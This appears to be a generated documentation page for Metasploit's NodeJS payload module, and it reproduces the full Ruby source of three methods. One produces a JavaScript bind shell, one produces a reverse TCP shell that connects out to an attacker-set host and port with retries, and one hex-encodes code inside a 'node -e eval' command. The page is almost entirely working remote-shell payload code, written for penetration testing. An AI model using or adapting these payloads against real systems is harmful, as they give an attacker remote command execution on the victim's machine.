Module: Msf::Payload::NodeJS

Defined in:
lib/msf/core/payload/nodejs.rb

Instance Method Summary collapse

Instance Method Details

#nodejs_bind_tcpString

Outputs a javascript snippet that spawns a bind TCP shell

Returns:

  • (String)

    javascript code that executes bind TCP payload



6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# File 'lib/msf/core/payload/nodejs.rb', line 6

def nodejs_bind_tcp
  cmd = <<-EOS
    (function(){
      var require = global.require || global.process.mainModule.constructor._load;
      if (!require) return;

      var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh";
      var net = require("net"),
          cp = require("child_process"),
          util = require("util");

      var server = net.createServer(function(socket) {  
        var sh = cp.spawn(cmd, []);
        socket.pipe(sh.stdin);
        if (typeof util.pump === "undefined") {
          sh.stdout.pipe(socket);
          sh.stderr.pipe(socket);
        } else {
          util.pump(sh.stdout, socket);
          util.pump(sh.stderr, socket);
        }
      });
      server.listen(#{datastore['LPORT']});
    })();
  EOS
  cmd.gsub("\n",'').gsub(/\s+/,' ').gsub(/[']/, '\\\\\'')
end

#nodejs_cmd(code) ⇒ String

Wraps the javascript code param in a “node” command invocation

Parameters:

  • code (String)

    the javascript code to run

Returns:

  • (String)

    a command that invokes "node" and passes the code



87
88
89
# File 'lib/msf/core/payload/nodejs.rb', line 87

def nodejs_cmd(code)
  "node -e 'eval(\"#{Rex::Text.to_hex(code, "\\x")}\");'"
end

#nodejs_reverse_tcp(opts = {}) ⇒ String

Outputs a javascript snippet that spawns a reverse TCP shell

Parameters:

  • opts (Hash) (defaults to: {})

    the options to create the reverse TCP payload with

Options Hash (opts):

  • :use_ssl (Boolean)

    use SSL when communicating with the shell. defaults to false.

Returns:

  • (String)

    javascript code that executes reverse TCP payload



38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
# File 'lib/msf/core/payload/nodejs.rb', line 38

def nodejs_reverse_tcp(opts={})
  use_ssl = opts.fetch(:use_ssl, false)
  tls_hash = if use_ssl then '{rejectUnauthorized:false}, ' else '' end
  net_lib = if use_ssl then 'tls' else 'net' end
  lhost = Rex::Socket.is_ipv6?(lhost) ? "[#{datastore['LHOST']}]" : datastore['LHOST']
  # the global.process.mainModule.constructor._load fallback for require() is
  # handy when the payload is eval()'d into a sandboxed context: the reference
  # to 'require' is missing, but can be looked up from the 'global' object.
  #
  # however, this fallback might break in later versions of nodejs.
  cmd = <<-EOS
    (function(){
      var require = global.require || global.process.mainModule.constructor._load;
      if (!require) return;
      var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh";
      var net = require("#{net_lib}"),
          cp = require("child_process"),
          util = require("util"),
          sh = cp.spawn(cmd, []);
      var client = this;
      var counter=0;
      function StagerRepeat(){
        client.socket = net.connect(#{datastore['LPORT']}, "#{lhost}", #{tls_hash} function() {
        client.socket.pipe(sh.stdin);
        if (typeof util.pump === "undefined") {
          sh.stdout.pipe(client.socket);
          sh.stderr.pipe(client.socket);
        } else {
          util.pump(sh.stdout, client.socket);
          util.pump(sh.stderr, client.socket);
        }
      });
      socket.on("error", function(error) {
        counter++;
        if(counter<= #{datastore['StagerRetryCount']}){
          setTimeout(function() { StagerRepeat();}, #{datastore['StagerRetryWait']}*1000);
        } else
          process.exit();
        });
      }
      StagerRepeat();
    })();
  EOS
  cmd.gsub("\n",'').gsub(/\s+/,' ').gsub(/[']/, '\\\\\'')
end